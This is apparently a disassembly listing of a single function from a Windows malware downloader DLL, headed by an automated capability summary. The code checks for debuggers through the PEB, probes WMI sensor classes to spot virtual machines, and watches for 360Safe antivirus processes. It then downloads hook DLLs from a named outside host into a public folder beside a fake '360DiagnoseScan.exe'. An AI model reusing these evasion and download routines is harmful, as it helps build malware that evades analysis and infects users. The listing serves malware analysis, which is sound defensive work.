Function at 0x10004309
Capabilities:
Check for peb beingdebugged flag
Check for peb ntglobalflag flag
Check mutex and terminate process on windows
Check mutex on windows
Connect to wmi namespace via wbemlocator
Create directory
Create http request
Delete file
Get number of processors
Read data from internet
Receive data
Reference wmi statements
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1200
call fcn.10009540
mov eax, dword [0x10031070]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
xor ebx, ebx
push edi
mov dword [ebp - 0x1188], ebx
call fcn.10001b48
test eax, eax
jne 0x1000442c
mov byte [ebp - 0x11ad], bl
push dword fs:[0x30]
pop edx
mov al, byte [edx + 2]
mov byte [ebp - 0x11ad], al
cmp byte [ebp - 0x11ad], bl
jne 0x1000442c
mov dword [ebp - 0x100c], ebx
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
movzx eax, byte [eax + 2]
mov dword [ebp - 0x100c], eax
cmp dword [ebp - 0x100c], ebx
jne 0x1000442c
mov dword [ebp - 0x11d0], ebx
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0x68]
mov dword [ebp - 0x11d0], eax
push 0x70
pop edi
cmp dword [ebp - 0x11d0], edi
je 0x1000442c
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push ebx
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x10004439
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push str.ZwQueryInformationProcess
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebx
push 0x18
lea ecx, [ebp - 0x11ac]
push ecx
push ebx
push esi
call eax
test eax, eax
js 0x10004432
lea eax, [ebp - 0x100c]
mov dword [ebp - 0x100c], ebx
push eax
push 2
lea eax, [ebp - 0x1014]
mov dword [ebp - 0x1014], ebx
push eax
mov eax, dword [ebp - 0x11a8]
add eax, 0x68
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x10004432
cmp dword [ebp - 0x100c], 2
jne 0x10004432
cmp word [ebp - 0x1014], di
jne 0x10004432
push ebx
call fcn.1000cb34
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x11b4], ebx
pushfd
pushal
mov eax, 1
cpuid
test ecx, 0x80000000
jne 0x1000445c
mov dword [ebp - 0x11b4], 0
jmp 0x10004466
mov dword [ebp - 0x11b4], 1
popal
popfd
call fcn.10003f6a
xor ebx, ebx
mov dword [ebp - 0x1188], eax
push ebx
push ebx
mov esi, ebx
call dword [sym.imp.ole32.dll_CoInitializeEx]
push ebx
push ebx
push ebx
push 3
push ebx
push ebx
push ebx
push 0xffffffffffffffff
push ebx
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
lea eax, [ebp - 0x1194]
mov dword [ebp - 0x1194], ebx
push eax
push 0x10024504
push 1
push ebx
push 0x100244f4
call dword [sym.imp.ole32.dll_CoCreateInstance]
push str.ROOTWMI
lea ecx, [ebp - 0x1014]
mov dword [ebp - 0x118c], ebx
call fcn.10001a0e
mov eax, dword [eax]
test eax, eax
je 0x100044d0
mov edx, dword [eax]
jmp 0x100044d2
mov edx, ebx
mov eax, dword [ebp - 0x1194]
lea edi, [ebp - 0x118c]
push edi
push ebx
push ebx
mov ecx, dword [eax]
push ebx
push ebx
push ebx
push ebx
push edx
push eax
call dword [ecx + 0xc]
lea ecx, [ebp - 0x1014]
call fcn.10001adc
push ebx
push ebx
push 3
push 3
push ebx
push ebx
mov ebx, dword [sym.imp.ole32.dll_CoSetProxyBlanket]
push 0xa
push dword [ebp - 0x118c]
call ebx
and dword [ebp - 0x1184], esi
lea ecx, [ebp - 0x100c]
push str.SELECT__FROM_MSAcpi_ThermalZoneTemperature
call fcn.10001a0e
mov edi, dword [eax]
test edi, edi
je 0x1000452f
mov edi, dword [edi]
jmp 0x10004531
xor edi, edi
push 0x1002dd54
lea ecx, [ebp - 0x1014]
call fcn.10001a0e
mov eax, dword [eax]
test eax, eax
je 0x1000454b
mov edx, dword [eax]
jmp 0x1000454d
xor edx, edx
mov eax, dword [ebp - 0x118c]
lea ebx, [ebp - 0x1184]
push ebx
xor ebx, ebx
push ebx
mov ecx, dword [eax]
push 0x30
push edi
push edx
push eax
call dword [ecx + 0x50]
lea ecx, [ebp - 0x1014]
call fcn.10001adc
lea ecx, [ebp - 0x100c]
call fcn.10001adc
mov ecx, dword [ebp - 0x1184]
mov dword [ebp - 0x1190], ebx
mov dword [ebp - 0x1010], ebx
mov ebx, dword [sym.imp.ole32.dll_CoSetProxyBlanket]
test ecx, ecx
je 0x100045e1
mov eax, dword [ecx]
lea edx, [ebp - 0x1010]
push edx
lea edx, [ebp - 0x1190]
push edx
push 1
push 0xffffffffffffffff
push ecx
call dword [eax + 0x10]
cmp dword [ebp - 0x1010], 0
je 0x100045d3
mov eax, dword [ebp - 0x1190]
inc esi
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov ecx, dword [ebp - 0x1184]
test ecx, ecx
jne 0x10004599
jmp 0x100045d9
mov ecx, dword [ebp - 0x1184]
test esi, esi
jne 0x100047c1
and dword [ebp - 0x118c], 0
lea ecx, [ebp - 0x1014]
push str.ROOTCIMV2
call fcn.10001a0e
mov eax, dword [eax]
test eax, eax
je 0x10004602
mov edx, dword [eax]
jmp 0x10004604
xor edx, edx
mov eax, dword [ebp - 0x1194]
lea edi, [ebp - 0x118c]
push edi
xor edi, edi
push edi
mov ecx, dword [eax]
push edi
push edi
push edi
push edi
push edi
push edx
push eax
call dword [ecx + 0xc]
lea ecx, [ebp - 0x1014]
call fcn.10001adc
xor eax, eax
push eax
push eax
push 3
push 3
push eax
push eax
push 0xa
push dword [ebp - 0x118c]
call ebx
and dword [ebp - 0x1184], edi
lea ecx, [ebp - 0x100c]
push str.SELECT__FROM_Win32_Fan
call fcn.10001a0e
mov edi, dword [eax]
test edi, edi
je 0x1000465f
mov edi, dword [edi]
jmp 0x10004661
xor edi, edi
push 0x1002dd54
lea ecx, [ebp - 0x1014]
call fcn.10001a0e
mov eax, dword [eax]
test eax, eax
je 0x1000467b
mov edx, dword [eax]
jmp 0x1000467d
xor edx, edx
mov eax, dword [ebp - 0x118c]
lea ebx, [ebp - 0x1184]
push ebx
xor ebx, ebx
push ebx
mov ecx, dword [eax]
push 0x30
push edi
push edx
push eax
call dword [ecx + 0x50]
lea ecx, [ebp - 0x1014]
call fcn.10001adc
lea ecx, [ebp - 0x100c]
call fcn.10001adc
mov ecx, dword [ebp - 0x1184]
mov dword [ebp - 0x1190], ebx
mov dword [ebp - 0x1010], ebx
test ecx, ecx
je 0x1000470a
mov eax, dword [ecx]
lea edx, [ebp - 0x1010]
push edx
lea edx, [ebp - 0x1190]
push edx
push 1
push 0xffffffffffffffff
push ecx
call dword [eax + 0x10]
cmp dword [ebp - 0x1010], ebx
je 0x100046fc
mov eax, dword [ebp - 0x1190]
inc esi
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov ecx, dword [ebp - 0x1184]
test ecx, ecx
jne 0x100046c3
jmp 0x10004702
mov ecx, dword [ebp - 0x1184]
test esi, esi
jne 0x100047c3
push str.SELECT__FROM_Win32_VoltageProbe
lea ecx, [ebp - 0x100c]
call fcn.10001a0e
mov eax, dword [eax]
test eax, eax
je 0x10004724
mov edi, dword [eax]
jmp 0x10004726
mov edi, ebx
push 0x1002dd54
lea ecx, [ebp - 0x1014]
call fcn.10001a0e
mov edx, dword [eax]
test edx, edx
je 0x10004740
mov edx, dword [edx]
jmp 0x10004742
mov edx, ebx
mov eax, dword [ebp - 0x118c]
lea ebx, [ebp - 0x1184]
push ebx
xor ebx, ebx
push ebx
mov ecx, dword [eax]
push 0x30
push edi
push edx
push eax
call dword [ecx + 0x50]
lea ecx, [ebp - 0x1014]
call fcn.10001adc
lea ecx, [ebp - 0x100c]
call fcn.10001adc
mov dword [ebp - 0x1190], ebx
mov dword [ebp - 0x1010], ebx
jmp 0x100047ad
mov eax, dword [ecx]
lea edx, [ebp - 0x1010]
push edx
lea edx, [ebp - 0x1190]
push edx
push 1
push 0xffffffffffffffff
push ecx
call dword [eax + 0x10]
cmp dword [ebp - 0x1010], ebx
je 0x100047b9
mov eax, dword [ebp - 0x1190]
inc esi
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov ecx, dword [ebp - 0x1184]
test ecx, ecx
jne 0x10004780
jmp 0x100047c3
mov ecx, dword [ebp - 0x1184]
jmp 0x100047c3
xor ebx, ebx
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov eax, dword [ebp - 0x118c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x1194]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
cmp dword [ebp - 0x11b4], 1
jge 0x100047fd
cmp dword [ebp - 0x1188], 1
jge 0x100047fd
test esi, esi
jg 0x10004824
lea eax, [ebp - 0x103c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemPowerStatus]
test eax, eax
je 0x10004824
mov al, byte [ebp - 0x103b]
cmp al, 0x80
je 0x1000442c
cmp al, 0xff
je 0x1000442c
lea ecx, [ebp - 0x10cc]
call fcn.10004076
lea ecx, [ebp - 0x10b4]
call fcn.100039d3
lea ecx, [ebp - 0x109c]
call fcn.10003b53
push str.C:UsersPublicPictures_
lea ecx, [ebp - 0x1054]
call fcn.10005e2f
push str.360DiagnoseScan.exe
lea ecx, [ebp - 0x1084]
call fcn.10005e2f
push 0x1002dca8
push ecx
lea ecx, [ebp - 0x1030]
call fcn.10003c9d
pop ecx
mov edx, eax
lea ecx, [ebp - 0x106c]
call fcn.100068b1
pop ecx
lea ecx, [ebp - 0x1030]
call fcn.1000633b
push ebx
lea eax, [ebp - 0x1054]
push eax
lea ecx, [ebp - 0x10b4]
call fcn.10005d3c
or esi, 0xffffffff
cmp eax, esi
jne 0x10004e6f
push str.AppGo
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x1000442c
xor eax, eax
lea edi, [ebp - 0x103c]
stosd dword es:[edi], eax
sub esp, 0x18
mov ecx, esp
stosd dword es:[edi], eax
push str..123
stosd dword es:[edi], eax
call fcn.10005e2f
lea edx, [ebp - 0x109c]
lea ecx, [ebp - 0x103c]
call fcn.1000392c
add esp, 0x18
mov dword [ebp - 0x1030], ebx
lea ecx, [ebp - 0x1030]
mov dword [ebp - 0x1020], ebx
mov dword [ebp - 0x101c], ebx
push dword [ebp - 0x103c]
call fcn.10006403
mov eax, dword [ebp - 0x1020]
lea ecx, [ebp - 0x1030]
push esi
dec eax
push eax
lea eax, [ebp - 0x11cc]
push eax
call fcn.10005ceb
xor ebx, ebx
mov edx, 0x1002dddc
mov ecx, eax
inc ebx
call fcn.10006904
test al, al
jne 0x100049af
mov eax, dword [ebp - 0x1020]
lea ecx, [ebp - 0x1030]
push esi
dec eax
push eax
lea eax, [ebp - 0x11e8]
push eax
call fcn.10005ceb
push 3
pop ebx
mov edx, 0x1002dde0
mov ecx, eax
call fcn.10006904
test al, al
jne 0x100049af
mov eax, dword [ebp - 0x1020]
lea ecx, [ebp - 0x1030]
push esi
dec eax
push eax
lea eax, [ebp - 0x1200]
push eax
call fcn.10005ceb
push 7
pop ebx
mov edx, 0x1002dde4
mov ecx, eax
call fcn.10006904
mov byte [ebp - 0x11ad], 1
test al, al
je 0x100049b6
mov byte [ebp - 0x11ad], 0
test bl, 4
je 0x100049c9
lea ecx, [ebp - 0x1200]
and ebx, 0xfffffffb
call fcn.1000633b
test bl, 2
je 0x100049d9
lea ecx, [ebp - 0x11e8]
call fcn.1000633b
lea ecx, [ebp - 0x11cc]
call fcn.1000633b
cmp byte [ebp - 0x11ad], 0
jne 0x10004e68
lea eax, [ebp - 0x106c]
push 0
push eax
lea edx, [ebp - 0x1054]
lea ecx, [ebp - 0x11cc]
call fcn.10006865
pop ecx
mov ecx, eax
call fcn.10005dc7
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x11cc]
call fcn.10005e2a
sub esp, 0x18
lea eax, [ebp - 0x106c]
mov esi, esp
lea edx, [ebp - 0x1054]
mov ebx, 0x1002dde8
lea ecx, [ebp - 0x11cc]
push ebx
push eax
call fcn.10006865
pop ecx
mov edx, eax
mov ecx, esi
call fcn.100068b1
sub esp, 0x14
mov ecx, esp
push 0x1002ddfc
call fcn.10005e2f
push 0x70
pop ecx
call fcn.10003d9c
add esp, 0x30
lea ecx, [ebp - 0x11cc]
call fcn.10005e2a
lea eax, [ebp - 0x106c]
push ebx
push eax
lea edx, [ebp - 0x1054]
lea ecx, [ebp - 0x11e8]
call fcn.10006865
pop ecx
mov edx, eax
lea ecx, [ebp - 0x11cc]
call fcn.100068b1
pop ecx
push eax
push ecx
lea ecx, [ebp - 0x1018]
call fcn.100068ea
lea ecx, [ebp - 0x11cc]
call fcn.10005e2a
lea ecx, [ebp - 0x11e8]
call fcn.10005e2a
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10004ace
push 0x64
call edi
cmp byte [0x10032ece], 0
je 0x10004aca
mov ecx, 0x1002de00
call fcn.1000419a
test eax, eax
je 0x10004afa
lea ecx, [ebp - 0x1188]
mov dword [ebp - 0x1188], str.C:Program_Files__x86_360360Safe360Safe.exe
call fcn.1000422c
mov ecx, str.360tray.exe
call fcn.1000419a
test eax, eax
je 0x10004b1d
lea ecx, [ebp - 0x1188]
mov dword [ebp - 0x1188], str.C:Program_Files__x86_360360Safe_safemon360Tray.exe
call fcn.1000422c
mov byte [0x10032ecd], 1
jmp 0x10004b2a
push 0x64
call edi
cmp byte [0x10032ecc], 0
je 0x10004b26
lea eax, [ebp - 0x106c]
push ebx
push eax
lea edx, [ebp - 0x1054]
lea ecx, [ebp - 0x11e8]
call fcn.10006865
pop ecx
mov edx, eax
lea ecx, [ebp - 0x11cc]
call fcn.100068b1
pop ecx
mov ecx, eax
call fcn.10005dc7
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [ebp - 0x11cc]
call fcn.10005e2a
lea ecx, [ebp - 0x11e8]
call fcn.10005e2a
sub esp, 0x18
lea eax, [ebp - 0x1084]
mov esi, esp
lea edx, [ebp - 0x1054]
lea ecx, [ebp - 0x11cc]
push eax
lea eax, [ebp - 0x106c]
push eax
call fcn.10006865
pop ecx
mov edx, eax
mov ecx, esi
call fcn.1000683a
sub esp, 0x14
mov ecx, esp
push 0x1002ddfc
call fcn.10005e2f
push 0x6e
pop ecx
call fcn.10003d9c
add esp, 0x30
lea ecx, [ebp - 0x11cc]
call fcn.10005e2a
push 0xffffffffffffffff
lea ecx, [ebp - 0x1030]
call fcn.10005dc3
dec eax
push eax
lea eax, [ebp - 0x11cc]
push eax
call fcn.10005ceb
mov edx, 0x1002dddc
mov ecx, eax
call fcn.10006904
lea ecx, [ebp - 0x11cc]
mov bl, al
call fcn.10005e2a
test bl, bl
je 0x10004c2b
xor ebx, ebx
push ebx
push ebx
push ebx
push 1
push str.abcd
call dword [sym.imp.WININET.dll_InternetOpenA]
push ebx
push SysReAllocString
push ebx
push ebx
push str.http:__nnyj.yckj.tech_DownLoad_exehook1.dll
jmp 0x10004c82
push 0xffffffffffffffff
lea ecx, [ebp - 0x1030]
call fcn.10005dc3
dec eax
push eax
lea eax, [ebp - 0x11cc]
push eax
call fcn.10005ceb
mov edx, 0x1002dde0
mov ecx, eax
call fcn.10006904
lea ecx, [ebp - 0x11cc]
mov bl, al
call fcn.10005e2a
test bl, bl
je 0x10004c8d
xor ebx, ebx
push ebx
push ebx
push ebx
push 1
push str.abcd
call dword [sym.imp.WININET.dll_InternetOpenA]
push ebx
push SysReAllocString
push ebx
push ebx
push str.http:__nnyj.yckj.tech_DownLoad_exehook2.dll
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
jmp 0x10004cec
push 0xffffffffffffffff
lea ecx, [ebp - 0x1030]
call fcn.10005dc3
dec eax
push eax
lea eax, [ebp - 0x11cc]
push eax
call fcn.10005ceb
mov edx, 0x1002dde4
mov ecx, eax
call fcn.10006904
lea ecx, [ebp - 0x11cc]
mov bl, al
call fcn.10005e2a
test bl, bl
je 0x10004ce6
xor ebx, ebx
push ebx
push ebx
push ebx
push 1
push str.abcd
call dword [sym.imp.WININET.dll_InternetOpenA]
push ebx
push SysReAllocString
push ebx
push ebx
push str.http:__nnyj.yckj.tech_DownLoad_exehook3.dll
jmp 0x10004c82
mov esi, dword [ebp - 0x1188]
push ecx
lea ecx, [ebp - 0x1180]
call fcn.10003edc
sub esp, 0xc
lea eax, [ebp - 0x106c]
lea edx, [ebp - 0x1054]
lea ecx, [ebp - 0x11e8]
push 0x1002df8c
push eax
call fcn.10006865
pop ecx
mov edx, eax
lea ecx, [ebp - 0x11cc]
call fcn.100068b1
pop ecx
mov ecx, eax
call fcn.10005dc7
push eax
lea ecx, [ebp - 0x1180]
call fcn.10005961
lea ecx, [ebp - 0x11cc]
call fcn.10005e2a
lea ecx, [ebp - 0x11e8]
call fcn.10005e2a
mov ebx, dword [sym.imp.WININET.dll_InternetReadFile]
jmp 0x10004d7b
cmp dword [ebp - 0x100c], 0
jbe 0x10004d95
push 0
push dword [ebp - 0x100c]
lea eax, [ebp - 0x1008]
push eax
lea ecx, [ebp - 0x1180]
call fcn.10005ae7
lea eax, [ebp - 0x100c]
push eax
push 0x1000
lea eax, [ebp - 0x1008]
push eax
push esi
call ebx
test eax, eax
jne 0x10004d58
lea ecx, [ebp - 0x1180]
call fcn.100058ee
call fcn.10003eef
call fcn.10003211
mov esi, 0x3e8
cmp al, 1
jne 0x10004dd5
call fcn.100035ae
push esi
call edi
call fcn.100033d2
cmp al, 1
je 0x10004db3
call fcn.10003785
push esi
call edi
call fcn.10003211
cmp al, 1
je 0x10004dc4
xor ebx, ebx
push ebx
lea eax, [ebp - 0x1084]
push eax
lea eax, [ebp - 0x106c]
push eax
lea edx, [ebp - 0x1054]
lea ecx, [ebp - 0x11e8]
call fcn.10006865
pop ecx
mov edx, eax
lea ecx, [ebp - 0x11cc]
call fcn.1000683a
pop ecx
mov ecx, eax
call fcn.10005dc7
push 3
pop edx
mov ecx, eax
call fcn.10001b64
pop ecx
lea ecx, [ebp - 0x11cc]
call fcn.10005e2a
lea ecx, [ebp - 0x11e8]
call fcn.10005e2a
push esi
call edi
call fcn.10003211
test al, al
je 0x10004dd7
lea ecx, [ebp - 0x1180]
call fcn.10003e8b
lea ecx, [ebp - 0x1018]
call fcn.10001b3d
lea ecx, [ebp - 0x1030]
call fcn.10005e2a
lea ecx, [ebp - 0x103c]
call fcn.10005c4e
jmp 0x10004e99
xor ebx, ebx
jmp 0x1000442c
push str.HaGo
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x1000442c
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x106c]
call fcn.10005e2a
lea ecx, [ebp - 0x1084]
call fcn.10005e2a
lea ecx, [ebp - 0x1054]
call fcn.10005e2a
lea ecx, [ebp - 0x109c]
call fcn.10005e2a
lea ecx, [ebp - 0x10b4]
call fcn.10005e2a
lea ecx, [ebp - 0x10cc]
call fcn.10005cb7
jmp 0x1000442c